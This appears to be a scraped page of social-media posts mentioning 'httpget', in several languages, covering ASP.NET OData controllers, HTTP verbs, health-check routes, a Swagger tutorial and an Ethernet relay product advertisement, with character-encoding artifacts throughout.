๐Ÿ”น Creaciรณn y ejecuciรณn de la app Se construye la aplicaciรณn (builder.Build()), se registran los controladores (app.MapControllers()) y finalmente se arranca el servidor con app.Run(). Esto deja el servicio escuchando en las URLs locales (https://localhost:5001 o http://localhost:5000). ๐Ÿ”น Controlador ProductsController Hereda de ODataController, lo que lo integra con el pipeline de OData. No lleva atributo [Route], porque la ruta se deduce de lo configurado en AddRouteComponents. Asรญ, el endpoint expuesto es /odata/Products. Tiene una lista estรกtica de Product con tres elementos de ejemplo (Laptop, Mouse, Monitor). El mรฉtodo Get() estรก marcado con [EnableQuery] y [HttpGet]. Esto hace que la respuesta soporte automรกticamente consultas como $filter, $orderby, $select, etc., gracias a que devuelve un IQueryable. #dotnet #csharp #dotnetcore #aspnetcore #dotnet10 #OData #WebAPI #RESTAPI #APIDevelopment #DataDriven #CleanArchitecture #SoftwareEngineering #CodeNewbies #DevCommunity #Programming
1
10
465
10 Jul 2025
#LSPPDay40 ran the project returning simple string and later with complex objects. Implemented HTTP verbs such as HttpGet, HttpDelete. Used status code within them such as 200 - ok, 400 - bad req. github.com/tirthacodes/dot-nโ€ฆ @lftechnology #60DaysOfLearning2025 #learningwithleapfrog

2
83
14 Jun 2025
Replying to @asmah2107
Perfect example, when we started on with aws.. The healthchecks were necessary. As we reached like you've put zombie servers - in the Net space created a new route called httpget HealthCheck/status. Just remembered it, thank you for the posts. Makes us feel nostalgic ๐Ÿ˜ฌ
1
4
374
How many HTTPGET I wan writeโ€ฆ
1
2
241
ใ‚คใƒณใ‚ฟใƒผใƒ•ใ‚งใ‚คใ‚นใ‚’wi-fiใซใ—ใฆใƒ–ใƒฉใ‚ฆใ‚ถใฎhttpGETใ‚’็›ฃ่ฆ–ใ—ใŸใ„ใ‘ใฉใ€ใชใซใ‚‚่กจ็คบใ•ใ‚Œใšโ€ฆ
1
2
144
๐Ÿš€ Gรผnรผn son dersi de hazฤฑr! ๐ŸŽฌ ๐Ÿ’ก Bu derste: ๐Ÿ“Œ Chef tablosu iรงin tรผm gerekli attributeleri tek derste yazdฤฑk! โšก ๐Ÿ”น HttpGet ๐Ÿ“ฅ ๐Ÿ”น HttpPost โž• ๐Ÿ”น HttpPut ๐Ÿ”„ ๐Ÿ”น HttpGet(id) ๐Ÿ” ๐Ÿ”น HttpDelete ๐Ÿ—‘ ๐Ÿ“Œ Swagger รผzerinde tรผm testlerimizi tamamladฤฑk! โœ… ๐Ÿ”œ Gelecek derste: ๐Ÿ“Œ API รผzerinden validasyon kontrollerine baลŸlฤฑyoruz! ๐ŸŽฏ ๐Ÿ“Œ Kullanฤฑcฤฑlara, belirlediฤŸimiz parametreler doฤŸrultusunda iลŸlem yaptฤฑrarak olasฤฑ hatalarฤฑ รถnlemeyi amaรงlฤฑyoruz. ๐Ÿ›  ๐ŸŽฅ EฤŸitimin 8. dersi ลŸimdi yayฤฑnda! ๐Ÿ“ข ฤฐzlemek iรงin:๐Ÿ”— youtu.be/dGu9UAzatwQ
6
881
Network 4io รผrรผnรผmรผz satฤฑลŸta. Ethernet รผzerinden cihaz kontrol/resetleme ve input voltaj takibi iรงin kullanฤฑlabilir. #ethernet #rรถle #input #relay #kontrol #controller #tcp #udp #httpget #sedaelektronik #Network sedaelektronik.com
1
29